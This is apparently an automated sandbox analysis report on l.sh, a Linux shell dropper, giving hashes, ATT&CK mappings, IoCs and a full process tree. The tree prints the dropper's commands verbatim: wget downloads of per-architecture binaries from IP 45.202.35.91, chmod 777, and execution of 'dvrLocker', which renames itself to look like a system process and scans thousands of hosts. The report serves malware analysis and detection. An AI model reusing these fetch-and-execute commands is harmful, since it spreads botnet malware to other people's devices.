486bb184414a6bb37263ea568512e122fc35071a14edc1a0897e228ed98070c8

Analysis

max time kernel
123s
max time network
18s
platform
debian-9_mipsel
resource
debian9-mipsel-20240611-en
resource tags

arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
08/11/2024, 14:26

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General

Target
l.sh
Size 923B
Sample241108-rrt5fstepb
SHA256 486bb184414a6bb37263ea568512e122fc35071a14edc1a0897e228ed98070c8
MD5 c44320dbe100363da4345e4178ae215b
SHA1 8f1d681128e497630d514fc35178f1df23944cdf
SHA512 1b87937c66d8ab4bfc5f51b7b5139c6132a4d4087a432ba4323f2ca3f3a6214ccc8d5d1434cb338f73c76180d47712919aecc3c04fc9d851d326ea14a6b1baff
MD5 SHA1 SHA512

Score

9^/10

defense_evasion discovery

Malware Config

Signatures

Contacts a large (2003) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 21 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
895	chmod
899	chmod
903	chmod
907	chmod
871	chmod
875	chmod
887	chmod
891	chmod
915	chmod
919	chmod
879	chmod
883	chmod
848	chmod
851	chmod
859	chmod
863	chmod
809	chmod
836	chmod
867	chmod
911	chmod
854	chmod

Executes dropped EXE 22 IoCs

ioc	pid	Process
/tmp/lib/dvrLocker	811	dvrLocker
/tmp/lib/dvrLocker	822	dvrLocker
/tmp/lib/dvrLocker	846	dvrLocker
/tmp/lib/dvrLocker	849	dvrLocker
/tmp/lib/dvrLocker	852	dvrLocker
/tmp/lib/dvrLocker	855	dvrLocker
/mnt/dvrLocker	860	dvrLocker
/mnt/dvrLocker	864	dvrLocker
/mnt/dvrLocker	868	dvrLocker
/mnt/dvrLocker	872	dvrLocker
/mnt/dvrLocker	876	dvrLocker
/mnt/dvrLocker	880	dvrLocker
/mnt/dvrLocker	884	dvrLocker
/mnt/dvrLocker	888	dvrLocker
/mnt/dvrLocker	892	dvrLocker
/mnt/dvrLocker	896	dvrLocker
/mnt/dvrLocker	900	dvrLocker
/mnt/dvrLocker	904	dvrLocker
/mnt/dvrLocker	908	dvrLocker
/mnt/dvrLocker	912	dvrLocker
/mnt/dvrLocker	916	dvrLocker
/mnt/dvrLocker	920	dvrLocker

Unexpected DNS network traffic destination 1 IoCs

Network traffic to other servers than the configured DNS servers was detected on the DNS port.

description	ioc
Destination IP	152.53.15.127

Changes its process name 1 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	/bin/busybox telentd	811	dvrLocker

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/899/status	dvrLocker
File opened for reading	/proc/913/status	dvrLocker
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/833/status	dvrLocker
File opened for reading	/proc/856/status	dvrLocker
File opened for reading	/proc/858/status	dvrLocker
File opened for reading	/proc/889/status	dvrLocker
File opened for reading	/proc/901/status	dvrLocker
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/837/status	dvrLocker
File opened for reading	/proc/874/status	dvrLocker
File opened for reading	/proc/884/status	dvrLocker
File opened for reading	/proc/909/status	dvrLocker
File opened for reading	/proc/919/status	dvrLocker
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/893/status	dvrLocker
File opened for reading	/proc/921/status	dvrLocker
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/818/status	dvrLocker
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/879/status	dvrLocker
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/825/status	dvrLocker
File opened for reading	/proc/839/status	dvrLocker
File opened for reading	/proc/855/status	dvrLocker
File opened for reading	/proc/870/status	dvrLocker
File opened for reading	/proc/876/status	dvrLocker
File opened for reading	/proc/820/status	dvrLocker
File opened for reading	/proc/830/status	dvrLocker
File opened for reading	/proc/869/status	dvrLocker
File opened for reading	/proc/900/status	dvrLocker
File opened for reading	/proc/910/status	dvrLocker
File opened for reading	/proc/857/status	dvrLocker
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/817/status	dvrLocker
File opened for reading	/proc/831/status	dvrLocker
File opened for reading	/proc/832/status	dvrLocker
File opened for reading	/proc/890/status	dvrLocker
File opened for reading	/proc/906/status	dvrLocker
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/835/status	dvrLocker
File opened for reading	/proc/859/status	dvrLocker
File opened for reading	/proc/860/status	dvrLocker
File opened for reading	/proc/911/status	dvrLocker
File opened for reading	/proc/918/status	dvrLocker
File opened for reading	/proc/920/status	dvrLocker
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/824/status	dvrLocker
File opened for reading	/proc/861/status	dvrLocker
File opened for reading	/proc/917/status	dvrLocker
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls

System Network Configuration Discovery 1 TTPs 5 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
819	rm
862	wget
865	rm
894	wget
897	rm

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/lib/dvrLocker	l.sh

/tmp/l.sh
/tmp/l.sh
1⤵
- Writes file to tmp directory
PID:709
- /bin/ls
  ls -l /proc/1/exe
  2⤵
  - Reads runtime system information
  PID:711
- /bin/ls
  ls -l /proc/10/exe
  2⤵
  PID:715
- /bin/ls
  ls -l /proc/11/exe
  2⤵
  PID:721
- /bin/ls
  ls -l /proc/110/exe
  2⤵
  PID:724
- /bin/ls
  ls -l /proc/12/exe
  2⤵
  PID:727
- /bin/ls
  ls -l /proc/123/exe
  2⤵
  PID:731
- /bin/ls
  ls -l /proc/124/exe
  2⤵
  - Reads runtime system information
  PID:734
- /bin/ls
  ls -l /proc/13/exe
  2⤵
  - Reads runtime system information
  PID:736
- /bin/ls
  ls -l /proc/14/exe
  2⤵
  - Reads runtime system information
  PID:738
- /bin/ls
  ls -l /proc/15/exe
  2⤵
  PID:740
- /bin/ls
  ls -l /proc/155/exe
  2⤵
  PID:742
- /bin/ls
  ls -l /proc/157/exe
  2⤵
  PID:744
- /bin/ls
  ls -l /proc/16/exe
  2⤵
  PID:746
- /bin/ls
  ls -l /proc/17/exe
  2⤵
  PID:748
- /bin/ls
  ls -l /proc/174/exe
  2⤵
  - Reads runtime system information
  PID:749
- /bin/ls
  ls -l /proc/18/exe
  2⤵
  PID:750
- /bin/ls
  ls -l /proc/19/exe
  2⤵
  - Reads runtime system information
  PID:751
- /bin/ls
  ls -l /proc/2/exe
  2⤵
  - Reads runtime system information
  PID:752
- /bin/ls
  ls -l /proc/20/exe
  2⤵
  - Reads runtime system information
  PID:754
- /bin/ls
  ls -l /proc/21/exe
  2⤵
  - Reads runtime system information
  PID:755
- /bin/ls
  ls -l /proc/216/exe
  2⤵
  - Reads runtime system information
  PID:756
- /bin/ls
  ls -l /proc/22/exe
  2⤵
  - Reads runtime system information
  PID:757
- /bin/ls
  ls -l /proc/23/exe
  2⤵
  - Reads runtime system information
  PID:758
- /bin/ls
  ls -l /proc/236/exe
  2⤵
  - Reads runtime system information
  PID:759
- /bin/ls
  ls -l /proc/24/exe
  2⤵
  PID:760
- /bin/ls
  ls -l /proc/3/exe
  2⤵
  PID:761
- /bin/ls
  ls -l /proc/326/exe
  2⤵
  PID:762
- /bin/ls
  ls -l /proc/327/exe
  2⤵
  PID:763
- /bin/ls
  ls -l /proc/330/exe
  2⤵
  PID:764
- /bin/ls
  ls -l /proc/331/exe
  2⤵
  PID:765
- /bin/ls
  ls -l /proc/334/exe
  2⤵
  - Reads runtime system information
  PID:766
- /bin/ls
  ls -l /proc/36/exe
  2⤵
  PID:767
- /bin/ls
  ls -l /proc/37/exe
  2⤵
  - Reads runtime system information
  PID:768
- /bin/ls
  ls -l /proc/380/exe
  2⤵
  PID:769
- /bin/ls
  ls -l /proc/381/exe
  2⤵
  PID:770
- /bin/ls
  ls -l /proc/386/exe
  2⤵
  PID:771
- /bin/ls
  ls -l /proc/4/exe
  2⤵
  PID:772
- /bin/ls
  ls -l /proc/417/exe
  2⤵
  PID:773
- /bin/ls
  ls -l /proc/5/exe
  2⤵
  PID:774
- /bin/ls
  ls -l /proc/6/exe
  2⤵
  PID:775
- /bin/ls
  ls -l /proc/665/exe
  2⤵
  PID:776
- /bin/ls
  ls -l /proc/671/exe
  2⤵
  PID:777
- /bin/ls
  ls -l /proc/679/exe
  2⤵
  - Reads runtime system information
  PID:778
- /bin/ls
  ls -l /proc/686/exe
  2⤵
  - Reads runtime system information
  PID:779
- /bin/ls
  ls -l /proc/687/exe
  2⤵
  - Reads runtime system information
  PID:780
- /bin/ls
  ls -l /proc/689/exe
  2⤵
  PID:781
- /bin/ls
  ls -l /proc/69/exe
  2⤵
  PID:782
- /bin/ls
  ls -l /proc/7/exe
  2⤵
  PID:783
- /bin/ls
  ls -l /proc/701/exe
  2⤵
  PID:784
- /bin/ls
  ls -l /proc/702/exe
  2⤵
  PID:785
- /bin/ls
  ls -l /proc/704/exe
  2⤵
  PID:786
- /bin/ls
  ls -l /proc/706/exe
  2⤵
  - Reads runtime system information
  PID:787
- /bin/ls
  ls -l /proc/707/exe
  2⤵
  PID:788
- /bin/ls
  ls -l /proc/708/exe
  2⤵
  PID:789
- /bin/ls
  ls -l /proc/709/exe
  2⤵
  PID:790
- /bin/ls
  ls -l /proc/71/exe
  2⤵
  - Reads runtime system information
  PID:791
- /bin/ls
  ls -l /proc/710/exe
  2⤵
  - Reads runtime system information
  PID:792
- /bin/ls
  ls -l /proc/72/exe
  2⤵
  PID:793
- /bin/ls
  ls -l /proc/73/exe
  2⤵
  PID:794
- /bin/ls
  ls -l /proc/74/exe
  2⤵
  PID:795
- /bin/ls
  ls -l /proc/75/exe
  2⤵
  PID:796
- /bin/ls
  ls -l /proc/76/exe
  2⤵
  - Reads runtime system information
  PID:797
- /bin/ls
  ls -l /proc/77/exe
  2⤵
  PID:798
- /bin/ls
  ls -l /proc/78/exe
  2⤵
  PID:799
- /bin/ls
  ls -l /proc/8/exe
  2⤵
  PID:800
- /bin/ls
  ls -l /proc/81/exe
  2⤵
  PID:801
- /bin/ls
  ls -l /proc/82/exe
  2⤵
  - Reads runtime system information
  PID:802
- /bin/ls
  ls -l /proc/9/exe
  2⤵
  PID:803
- /bin/rm
  rm -rf /tmp/lib/
  2⤵
  PID:804
- /bin/rm
  rm -rf /tmp/lib/dvrLocker
  2⤵
  PID:805
- /bin/mkdir
  mkdir /tmp/lib/
  2⤵
  PID:806
- /usr/bin/wget
  wget http://45.202.35.91/tmpsl -O -
  2⤵
  PID:807
- /bin/chmod
  chmod 777 dvrLocker
  2⤵
  - File and Directory Permissions Modification
  PID:809
- /tmp/lib/dvrLocker
  ./dvrLocker tplink.new
  2⤵
  - Executes dropped EXE
  - Changes its process name
  - Reads runtime system information
  PID:811
- /bin/rm
  rm -rf tmpsl
  2⤵
  PID:815
- /bin/rm
  rm -rf tmips
  2⤵
  - System Network Configuration Discovery
  PID:819
- /tmp/lib/dvrLocker
  ./dvrLocker tplink.new
  2⤵
  - Executes dropped EXE
  PID:822
- /bin/rm
  rm -rf tarm
  2⤵
  PID:828
- /bin/chmod
  chmod 777 dvrLocker
  2⤵
  - File and Directory Permissions Modification
  PID:836
- /bin/rm
  rm -rf tarm5
  2⤵
  PID:841
- /tmp/lib/dvrLocker
  ./dvrLocker tplink.new
  2⤵
  - Executes dropped EXE
  PID:846
- /bin/rm
  rm -rf tppc
  2⤵
  PID:847
- /bin/chmod
  chmod 777 dvrLocker
  2⤵
  - File and Directory Permissions Modification
  PID:848
- /tmp/lib/dvrLocker
  ./dvrLocker tplink.new
  2⤵
  - Executes dropped EXE
  PID:849
- /bin/rm
  rm -rf tarm7
  2⤵
  PID:850
- /bin/chmod
  chmod 777 dvrLocker
  2⤵
  - File and Directory Permissions Modification
  PID:851
- /tmp/lib/dvrLocker
  ./dvrLocker tplink.new
  2⤵
  - Executes dropped EXE
  PID:852
- /bin/rm
  rm -rf tarm6
  2⤵
  PID:853
- /bin/chmod
  chmod 777 dvrLocker
  2⤵
  - File and Directory Permissions Modification
  PID:854
- /tmp/lib/dvrLocker
  ./dvrLocker tplink.new
  2⤵
  - Executes dropped EXE
  PID:855
- /bin/rm
  rm -rf x86
  2⤵
  PID:856
- /bin/rm
  rm -rf /mnt/dvrLocker
  2⤵
  PID:857
- /usr/bin/wget
  wget http://45.202.35.91/tmpsl -O -
  2⤵
  PID:858
- /bin/chmod
  chmod 777 dvrLocker
  2⤵
  - File and Directory Permissions Modification
  PID:859
- /mnt/dvrLocker
  ./dvrLocker tplink.new
  2⤵
  - Executes dropped EXE
  PID:860
- /bin/rm
  rm -rf tmpsl
  2⤵
  PID:861
- /usr/bin/wget
  wget http://45.202.35.91/tmips -O -
  2⤵
  - System Network Configuration Discovery
  PID:862
- /bin/chmod
  chmod 777 dvrLocker
  2⤵
  - File and Directory Permissions Modification
  PID:863
- /mnt/dvrLocker
  ./dvrLocker tplink.new
  2⤵
  - Executes dropped EXE
  PID:864
- /bin/rm
  rm -rf tmips
  2⤵
  - System Network Configuration Discovery
  PID:865
- /usr/bin/wget
  wget http://45.202.35.91/tarm -O -
  2⤵
  PID:866
- /bin/chmod
  chmod 777 dvrLocker
  2⤵
  - File and Directory Permissions Modification
  PID:867
- /mnt/dvrLocker
  ./dvrLocker tplink.new
  2⤵
  - Executes dropped EXE
  PID:868
- /bin/rm
  rm -rf tarm
  2⤵
  PID:869
- /usr/bin/wget
  wget http://45.202.35.91/tarm5 -O -
  2⤵
  PID:870
- /bin/chmod
  chmod 777 dvrLocker
  2⤵
  - File and Directory Permissions Modification
  PID:871
- /mnt/dvrLocker
  ./dvrLocker tplink.new
  2⤵
  - Executes dropped EXE
  PID:872
- /bin/rm
  rm -rf tarm5
  2⤵
  PID:873
- /usr/bin/wget
  wget http://45.202.35.91/tppc -O -
  2⤵
  PID:874
- /bin/chmod
  chmod 777 dvrLocker
  2⤵
  - File and Directory Permissions Modification
  PID:875
- /mnt/dvrLocker
  ./dvrLocker tplink.new
  2⤵
  - Executes dropped EXE
  PID:876
- /bin/rm
  rm -rf tppc
  2⤵
  PID:877
- /usr/bin/wget
  wget http://45.202.35.91/tarm7 -O -
  2⤵
  PID:878
- /bin/chmod
  chmod 777 dvrLocker
  2⤵
  - File and Directory Permissions Modification
  PID:879
- /mnt/dvrLocker
  ./dvrLocker tplink.new
  2⤵
  - Executes dropped EXE
  PID:880
- /bin/rm
  rm -rf tarm7
  2⤵
  PID:881
- /bin/chmod
  chmod 777 dvrLocker
  2⤵
  - File and Directory Permissions Modification
  PID:883
- /mnt/dvrLocker
  ./dvrLocker tplink.new
  2⤵
  - Executes dropped EXE
  PID:884
- /bin/rm
  rm -rf tarm6
  2⤵
  PID:885
- /usr/bin/wget
  wget http://45.202.35.91/x86 -O -
  2⤵
  PID:886
- /bin/chmod
  chmod 777 dvrLocker
  2⤵
  - File and Directory Permissions Modification
  PID:887
- /mnt/dvrLocker
  ./dvrLocker tplink.new
  2⤵
  - Executes dropped EXE
  PID:888
- /bin/rm
  rm -rf x86
  2⤵
  PID:889
- /bin/chmod
  chmod 777 dvrLocker
  2⤵
  - File and Directory Permissions Modification
  PID:891
- /mnt/dvrLocker
  ./dvrLocker tplink.new
  2⤵
  - Executes dropped EXE
  PID:892
- /bin/rm
  rm -rf tmpsl
  2⤵
  PID:893
- /usr/bin/wget
  wget http://45.202.35.91/tmips -O -
  2⤵
  - System Network Configuration Discovery
  PID:894
- /bin/chmod
  chmod 777 dvrLocker
  2⤵
  - File and Directory Permissions Modification
  PID:895
- /mnt/dvrLocker
  ./dvrLocker tplink.new
  2⤵
  - Executes dropped EXE
  PID:896
- /bin/rm
  rm -rf tmips
  2⤵
  - System Network Configuration Discovery
  PID:897
- /usr/bin/wget
  wget http://45.202.35.91/tarm -O -
  2⤵
  PID:898
- /bin/chmod
  chmod 777 dvrLocker
  2⤵
  - File and Directory Permissions Modification
  PID:899
- /mnt/dvrLocker
  ./dvrLocker tplink.new
  2⤵
  - Executes dropped EXE
  PID:900
- /bin/rm
  rm -rf tarm
  2⤵
  PID:901
- /usr/bin/wget
  wget http://45.202.35.91/tarm5 -O -
  2⤵
  PID:902
- /bin/chmod
  chmod 777 dvrLocker
  2⤵
  - File and Directory Permissions Modification
  PID:903
- /mnt/dvrLocker
  ./dvrLocker tplink.new
  2⤵
  - Executes dropped EXE
  PID:904
- /bin/rm
  rm -rf tarm5
  2⤵
  PID:905
- /usr/bin/wget
  wget http://45.202.35.91/tppc -O -
  2⤵
  PID:906
- /bin/chmod
  chmod 777 dvrLocker
  2⤵
  - File and Directory Permissions Modification
  PID:907
- /mnt/dvrLocker
  ./dvrLocker tplink.new
  2⤵
  - Executes dropped EXE
  PID:908
- /bin/rm
  rm -rf tppc
  2⤵
  PID:909
- /usr/bin/wget
  wget http://45.202.35.91/tarm7 -O -
  2⤵
  PID:910
- /bin/chmod
  chmod 777 dvrLocker
  2⤵
  - File and Directory Permissions Modification
  PID:911
- /mnt/dvrLocker
  ./dvrLocker tplink.new
  2⤵
  - Executes dropped EXE
  PID:912
- /bin/rm
  rm -rf tarm7
  2⤵
  PID:913
- /usr/bin/wget
  wget http://45.202.35.91/tarm6 -O -
  2⤵
  PID:914
- /bin/chmod
  chmod 777 dvrLocker
  2⤵
  - File and Directory Permissions Modification
  PID:915
- /mnt/dvrLocker
  ./dvrLocker tplink.new
  2⤵
  - Executes dropped EXE
  PID:916
- /bin/rm
  rm -rf tarm6
  2⤵
  PID:917
- /usr/bin/wget
  wget http://45.202.35.91/x86 -O -
  2⤵
  PID:918
- /bin/chmod
  chmod 777 dvrLocker
  2⤵
  - File and Directory Permissions Modification
  PID:919
- /mnt/dvrLocker
  ./dvrLocker tplink.new
  2⤵
  - Executes dropped EXE
  PID:920
- /bin/rm
  rm -rf x86
  2⤵
  PID:921

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

dvrLocker

Path /tmp/lib/dvrLocker
Size 95KB
SHA256 32a11abaae3a98a5c04532ebfc258d2c871eb9e68dbcaa11d6242db21922e9ba
MD5 6f5f89fdfd11c73af00c8c7a8cd8eaca
SHA1 0170ae81b162afa0920b0dc030084775883103ca
SHA512 f04f64a628bd5c7967525bd30f7e6290b004673d100d4387b1c0fbe29460b4f3a28e05e296fef3c8a02115f8056ed1901699ffd39ebedbe04ff06290eb1bfd3e
SSDEEP 1536:f5JfA7SmiUE1I0wF/vbOvD0uZjDlY9zSw6ZFmugXmYKd:fbfAOmLEGlAv69zj6gP+
MD5 SHA1 SHA512 SSDEEP

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